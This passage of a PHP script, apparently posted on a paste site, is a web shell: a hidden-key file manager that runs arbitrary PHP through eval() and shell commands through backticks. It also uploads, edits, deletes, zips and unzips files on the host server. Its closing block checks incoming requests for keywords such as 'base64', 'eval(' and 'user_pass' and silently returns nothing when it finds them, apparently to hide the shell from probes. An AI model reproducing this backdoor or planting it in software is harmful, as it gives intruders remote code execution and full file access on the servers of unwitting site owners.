  842.         }
  843.     elseif(is_file($ziparc[$i]))
  844.         {
  845.         $name2add=explode('../',$ziparc[$i]);
  846.         $name2add=$name2add[count($name2add)-1];
  847.         $ziper->addFile(file_get_contents($ziparc[$i]),$name2add);
  848.         print "{$ziparc[$i]} added!<br/>";
  849.         }
  850.     }
  851. }
  852. }
  853. $ziper->output($_POST[zip_path]);
  854. }
  855.  
  856. if(!empty($deldira) && is_array($deldira) && isset($_POST[delete_submit]))
  857. {
  858. for($i=0;$i<count($deldira);$i++)
  859.     {
  860.     dd($deldira[$i]);
  861.     }
  862. }
  863.  
  864. if(!empty($arhiv) && is_array($arhiv) && isset($_POST[unzip_path]) && isset($_POST[unzip_submit]))
  865. {
  866. for($i=0;$i<count($arhiv);$i++)
  867. {
  868. unzipFile(rtrim($dira,'/').'/'.$arhiv[$i],$_POST[unzip_path]);
  869. }
  870. }
  871. if(!empty($comanda))
  872. {
  873. eval(trim(stripslashes($comanda)));
  874. }
  875. if(!empty($shcom))
  876. {
  877. print '<pre>'.`$shcom`.'</pre>';
  878. }
  879.  
  880. reset ($_FILES);
  881. while (list ($clave, $val) = each ($_FILES)) {
  882. if(!empty($val['name']))
  883. {
  884. if(move_uploaded_file($val['tmp_name'], $uploaddir.'/'.$val['name']))
  885.     print "<b>{$val['name']}</b> ({$val['size']} bytes) uploaded succesfully!<br/>";
  886. else
  887.     print "<b>Upload error!</b> ({$val['error']})<br/>";
  888. }
  889. }
  890.  
  891. if(!empty($del) && is_array($del) && isset($_POST[delete_submit]))
  892. {
  893. for($i=0;$i<count($del);$i++)
  894.     {
  895.     unlink($dira.$del[$i]);
  896.     print '<b>'.$del[$i].' deleted succesfully!</b><br/>';
  897.     }
  898. }
  899.  
  900. if(!empty($filee))
  901. {
  902. ?>
  903. <pre>
  904.  
  905. <?php
  906. $filee=file_get_contents($filee);
  907. if(ereg('<\?',$filee))
  908.     print str_replace(array('#000000'),array('#FFFFFF'),highlight_string($filee,true));
  909. else
  910.     print $filee;
  911. ?>
  912. </pre>
  913. <?php
  914. }
  915.  
  916. if(!empty($edit) && empty($save_edit))
  917. {
  918. ?>
  919. <form method="POST" action="<?php print "$site?$kverya"; ?>">
  920. <input name='page' type='hidden' value='<?php print $page; ?>'>
  921. <input name='dira' type='hidden' value='<?php print $dira; ?>'>
  922. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  923. <b><?php print $edit; ?></b><br/>
  924. <textarea name="save_edit" rows=20 cols=141>
  925. <?php
  926. $fss = @ fopen($dira.$edit, 'r');
  927. print htmlspecialchars(fread($fss, filesize($dira.$edit)));
  928. fclose($fss);
  929. ?>
  930. </textarea><br/>
  931. <input type="hidden" value="<?php print $edit ?>" name="edit"/>
  932. <input type="submit" value="edit"/>
  933.  
  934. </form>
  935. <?php
  936.  
  937. }
  938. elseif(!empty($edit) && !empty($save_edit))
  939.     {
  940.     $fp=fopen($dira.$edit,"w");
  941.     if ( get_magic_quotes_gpc() )
  942.         {
  943.         $save_edit=stripslashes($save_edit);
  944.         }
  945.     fputs($fp,$save_edit);
  946.     fclose($fp);
  947.     print "<b>$edit edited succesfully!</b><br/>";
  948.     }
  949.  
  950. if(!($dp = opendir($dira))) die ("Cannot open ./");
  951.  
  952. $page = isset($_POST[page]) ? (int) $_POST[page] : 0;
  953.  
  954.  
  955. $last_record = $page + $items_per_page;
  956. $file_array = array();
  957. while ($file = readdir ($dp))
  958.     {
  959.         $file_array[] =  $file;
  960.     }
  961. $file_count = count ($file_array);
  962. sort ($file_array);
  963.  
  964.  
  965. $total_pages = ceil($file_count/$items_per_page);
  966. $pageof = (($page+$items_per_page)/$items_per_page);
  967.  
  968.  
  969. if(($page+$items_per_page)>$items_per_page)
  970.     {
  971.     print "<a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='".($page-$items_per_page)."';document.todo.submit();\">&lt;&lt;</a>";
  972.     }
  973. else
  974.     print "&lt;&lt;";
  975.  
  976. print '|'.$pageof.' of '.$total_pages.'|';
  977. if(($page+$items_per_page)<$file_count)
  978.     {
  979.     print "<a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='".($last_record)."';document.todo.submit();\">&gt;&gt;</a>";
  980.     }
  981. else
  982.     print "&gt;&gt;";
  983.  
  984. print '<script> function ZipDir(){
  985.         var zipdir1=document.getElementById(\'zipdir1\');
  986.         var zipdir2=document.getElementById(\'zipdir2\');
  987.  
  988.         if (zipdir1.style.display=="none") {
  989.             zipdir1.style.display="inline";
  990.             zipdir2.style.display="none";
  991.         }
  992.         else {
  993.             zipdir1.style.display="none";
  994.             zipdir2.style.display="inline";
  995.         }
  996.     }
  997. function UnZipDir(){
  998.         var unzipdir1=document.getElementById(\'unzipdir1\');
  999.         var unzipdir2=document.getElementById(\'unzipdir2\');
  1000.  
  1001.         if (unzipdir1.style.display=="none") {
  1002.             unzipdir1.style.display="inline";
  1003.             unzipdir2.style.display="none";
  1004.         }
  1005.         else {
  1006.             unzipdir1.style.display="none";
  1007.             unzipdir2.style.display="inline";
  1008.         }
  1009.     }
  1010. </script>';
  1011.  
  1012. print '<form id="list_form" method="POST" action="'.$site.'?'.$kverya.'"><table width="100%" border="1" cellspacing="0" cellpadding="4">
  1013. <input name="dira" type="hidden" value="'.$dira.'">
  1014. <input name="'.$my_keyw.'" type="hidden" value=""/>
  1015. <tr>
  1016. <th bgcolor="gray">Name | Size | Perms</th>
  1017. <th bgcolor="gray" width=30%>Owner:Group | Last mod</th>
  1018. <th bgcolor="gray" width=2%>Edit</th>
  1019. <th bgcolor="gray" width=2%>Dload</th>
  1020. <th bgcolor="gray" width=6%><input type="checkbox" onclick="checkAll(document.getElementById(\'list_form\'));" /> <input type="submit" value="Del" name="delete_submit"/></th>
  1021. <th bgcolor="gray" width=10%><span id="zipdir1"><input type="checkbox" onclick="checkAll2(document.getElementById(\'list_form\'));" /> <input type="submit" value="Zip" name="zip_submit"/></span> <a style="text-decoration: none;color:white" href="javascript:ZipDir()">to</a> <span style="display:none" id="zipdir2"><input size=12 name="zip_path" value="'.$dira.'1.zip"/></span></th>
  1022. <th bgcolor="gray" width=10%><span id="unzipdir1"><input type="checkbox" onclick="checkAll3(document.getElementById(\'list_form\'));" /> <input type="submit" value="Unzip" name="unzip_submit"/></span> <a style="text-decoration: none;color:white" href="javascript:UnZipDir()">to</a> <span style="display:none" id="unzipdir2"><input size=12 name="unzip_path" value="'.$dira.'"/></span></th>
  1023. </tr>';
  1024.  
  1025.  
  1026.  
  1027.             while (list($fileIndexValue, $file_name) = each ($file_array))
  1028.                 {
  1029.                 if (($fileIndexValue >= $page) AND ($fileIndexValue < $last_record))
  1030.                     {
  1031.  
  1032.             if(is_file($dira.''.$file_name))
  1033.                 {
  1034.                 echo "<tr bgcolor='#4F4E4D'><td><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.filee.value='$file_name';document.todo.submit();\">$file_name</a>&nbsp;(". round(filesize($dira.''.$file_name)/1024,1) . "kb) ".my_perms($dira.$file_name)."</td>";
  1035.                 if(is_writeable($dira.''.$file_name))
  1036.                     {
  1037.                     $file_name_array=explode('.',$file_name);
  1038.                     $file_name_ext=$file_name_array[count($file_name_array)-1];
  1039.                     echo '<td valign="middle" align="center">'.my_stat($dira.$file_name).'</td>';
  1040.                     echo "<td valign='middle' align='center'><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.edit.value='$file_name';document.todo.submit();\">edit</a></td>";
  1041.                     echo "<td valign='middle' align='center'><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.dofile.value='$file_name';document.todo.submit();\">dload</a></td>";
  1042.                     echo "<td valign='middle' align='center'><input id='delete_id' type='checkbox' value='$file_name' name='del[]'/></td>";
  1043.                     }
  1044.                 else
  1045.                     {
  1046.                     echo '<td valign="middle" align="center">'.my_stat($dira.$file_name).'</td>';
  1047.                     echo "<td>&nbsp;</td>";
  1048.                     if(is_readable($dira.''.$file_name)) echo "<td valign='middle' align='center'><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.dofile.value='$file_name';document.todo.submit();\">dload</a></td>";
  1049.                     else    echo "<td>&nbsp;</td>";
  1050.                     echo "<td>&nbsp;</td>";
  1051.                     }
  1052.                 if(is_readable($dira.''.$file_name))
  1053.                     {
  1054.                     if($file_name_ext!='zip')
  1055.                         echo "<td valign='middle' align='center'><input id='zip_id' type='checkbox' value='$file_name' name='file2zip[]'/></td>";
  1056.                     else
  1057.                         echo "<td>&nbsp;</td>";
  1058.                     if($file_name_ext=='zip')
  1059.                         echo "<td valign='middle' align='center'><input id='unzip_id' type='checkbox' value='$file_name' name='arhiv[]'/></td>";
  1060.                     else
  1061.                         echo "<td>&nbsp;</td>";
  1062.                     }
  1063.                 else
  1064.                     {
  1065.                     echo "<td>&nbsp;</td>";
  1066.                     echo "<td>&nbsp;</td>";
  1067.                     }
  1068.                 print '</tr>';
  1069.                 }
  1070.             else
  1071.                     {
  1072.                     if($file_name!='.' && $file_name!='..')
  1073.                         {
  1074.                         echo "<tr bgcolor='#4F4E4D'><td><a href='#' onclick=\"document.todo.dira.value='$dira$file_name';document.todo.submit();\">$file_name</a> ".my_perms($dira.$file_name)."</td>";
  1075.                         echo '<td valign="middle" align="center">'.my_stat($dira.$file_name).'</td>';
  1076.                         }
  1077.                     else
  1078.                         {
  1079.                         echo "<tr bgcolor='#4F4E4D'><td><a href='#' onclick=\"document.todo.dira.value='$dira$file_name';document.todo.submit();\">$file_name</a></td>";
  1080.                         echo "<td>&nbsp;</td>";
  1081.                         }
  1082.                     echo "<td>&nbsp;</td>";
  1083.                     echo "<td>&nbsp;</td>";
  1084.                     $dir_for_del=rtrim($dira,'/').'/'.$file_name;
  1085.                     if($file_name!='.' && $file_name!='..' && is_writeable($dir_for_del))  
  1086.                         {                  
  1087.                         echo "<td valign='middle' align='center'><input id='delete_id' type='checkbox' value='$dir_for_del' name='deldira[]'/></td>";
  1088.                         }                      
  1089.                     elseif($file_name!='.' && $file_name!='..' && !is_writeable($dir_for_del))
  1090.                         echo "<td>&nbsp;</td>";
  1091.  
  1092.                     if(is_readable($dir_for_del) && $file_name!='.' && $file_name!='..')
  1093.                         echo "<td valign='middle' align='center'><input id='zip_id' type='checkbox' value='$file_name' name='file2zip[]'/></td><td>&nbsp;</td>";
  1094.                     elseif(!is_readable($dir_for_del) && $file_name!='.' && $file_name!='..')
  1095.                         echo "<td>&nbsp;</td><td>&nbsp;</td>";
  1096.  
  1097.                     if($file_name=='.' || $file_name=='..')
  1098.                         echo "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
  1099.                     echo '</tr>';
  1100.                     }  
  1101.                 }
  1102.                 }
  1103. print '</form></table>';
  1104. ?>
  1105. </body>
  1106. </html>
  1107. <?php exit; }
  1108. else
  1109.     {
  1110.     $post_arr=implode('.',$_POST);
  1111.     $get_arr=implode('.',$_GET);
  1112.     $cook_arr=implode('.',$_COOKIE);
  1113.     $post_arr_key=implode('.',@array_flip($_POST));
  1114.     $get_arr_key=implode('.',@array_flip($_GET));
  1115.     $other_shtuki=@file_get_contents('php://input');
  1116.     $cracktrack = strtolower($post_arr.$get_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);
  1117.     $wormprotector = array('base64','user_pass','substring','or id=','eval(','nutch');
  1118.     $checkworm = str_replace($wormprotector, '*', $cracktrack);
  1119.     if ($cracktrack != $checkworm)
  1120.     die("");
  1121.     }
  1122. ?>
Add Comment
Please, Sign In to add comment